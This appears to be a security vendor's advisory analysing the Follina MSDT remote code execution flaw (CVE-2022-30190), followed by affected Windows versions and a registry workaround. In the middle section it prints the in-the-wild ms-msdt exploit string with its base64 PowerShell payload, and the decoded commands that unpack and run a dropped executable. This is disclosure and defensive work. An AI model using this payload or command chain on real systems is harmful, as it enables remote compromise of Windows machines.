You are currently viewing Follina: Microsoft Support Diagnostic Tool RCE Vulnerability Under Active Exploitation

Follina: Microsoft Support Diagnostic Tool RCE Vulnerability Under Active Exploitation

A remote code execution vulnerability was discovered in MSDT (Microsoft Support Diagnostic Tool), and it is tracked with CVE-2022-30190. The vulnerability is actively exploited in the wild. MSDT is a Windows 11/10/8.1/7 and Windows Server service. Microsoft support personnel can use the tool to evaluate diagnostic data and discover solutions to problems that consumers are having.

Multiple proofs of concepts (POCs) have been published, and we can expect active exploitation of this vulnerability(CVE-2022-30190) through email-based delivery. The vulnerability is called “Follina.”

Technical Details and Exploit

The sample Word document was obtained first shared by @nao_sec on Twitter, and after researching the contents of the Word document, here are the research details.

Here unzipping the contents of a word document (which combined and made a word document)

Inside the word/_rels directory, an XML document contains the reference to the external link.

When writing this blog, this link is no longer available online, but @nao_sec shared the original contents of RDF842l.html.


The exploit is a HTML document that contains a series of A character. While it appears to be of no value the research shared by Rich Warren, it was identified a small amount of ‘A’ character is required for an exploit to run. An HTML processing function had a hardcoded buffer size, and any files less than 4096 bytes would not trigger the payload. When writing this blog, this link is no longer online, but @nao_sec shared the original contents of RDF842l.html.

window.location.href = “ms-msdt:/id PCWDiagnostic /skip force /param \”IT_RebrowseForFile=cal?c IT_LaunchMethod=ContextMenu IT_SelectProgram=NotListed IT_BrowseForFile=h$(Invoke-Expression($(Invoke-Expression(‘[System.Text.Encoding]’+[char]58+[char]58+’UTF8.GetString([System.Convert]’+[char]58+[char]58+’FromBase64String(‘+[char]34+’JGNtZCA9ICJjOlx3aW5kb3dzXHN5c3RlbTMyXGNhbGMuZXhlIjtTdGFydC1Qcm9jZXNzICRjbWQ7’+[char]34+’))’))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe IT_AutoTroubleshoot=ts_AUTO\””; 

Above lines are the heart of the exploit. It is encoded in base64. When we decode this, we get

$cmd = “c:\windows\system32\cmd.exe”;
Start-Process $cmd -windowstyle hidden -ArgumentList “/c taskkill /f /im msdt.exe”;
Start-Process $cmd -windowstyle hidden -ArgumentList “/c cd C:\users\public\&&for /r %temp% %i in (05-2022-0438.rar) do copy %i 1.rar /y&&findstr TVNDRgAAAA 1.rar>1.t&&certutil -decode 1.t 1.c &&expand 1.c -F:* .&&rgb.exe”;

When the above commands get executed following things happen:

  • It will kill msdt.exe if it is running
  • It will iterate through the contents of the RAR file and look for a base64 encoded string in a CAB file.
  • It will save the base64 encoded string in a 1.t file
  • It will decode the base64 encoded string from the 1.t file and save it to the 1.c file
  • It will expand the compressed 1.c CAB file into the current working directory
  • Finally, it will execute the rgb.exe

This will get the threat actors remote access. The impact of rgb.exe is not known.

Note: With merely the Preview Pane in Windows Explorer, a Rich Text Format (.rtf) file might trigger the invocation of this attack.

Affected Products

  • Windows 11
  • Windows 10
  • Windows 8.1
  • Windows 7
  • Windows Servers

Note: All Windows versions are vulnerable


As part of June Patch Tuesday (14/06/2022), Microsoft released a patch for this critical vulnerability(CVE-2022-30190). We recommend all our users to apply the patches at the earliest.


1. Disable the MSDT URL Protocol: Disabling the MSDT URL protocol prohibits troubleshooters from being launched as links from anywhere in the operating system.

Follow the following steps to disable the MSDT URL Protocol:

  • Run Command Prompt as Administrator.
  • Execute the command to back up the registry key, “reg export HKEY_CLASSES_ROOT\ms-msdt filename “
  • Execute the command to delete the registry key “reg delete HKEY_CLASSES_ROOT\ms-msdt /f.”

To undo the workaround, follow the following steps:

  • Run Command Prompt as Administrator.
  • Execute the command to restore the registry key “reg import filename.”

SanerNow VM and SanerNow PM detects this vulnerability and remediates it. Use SanerNow and keep your systems updated and secure. For those of you who are not able to patch the vulnerability immediately apply the mitigation, following the instructions published in our support article.

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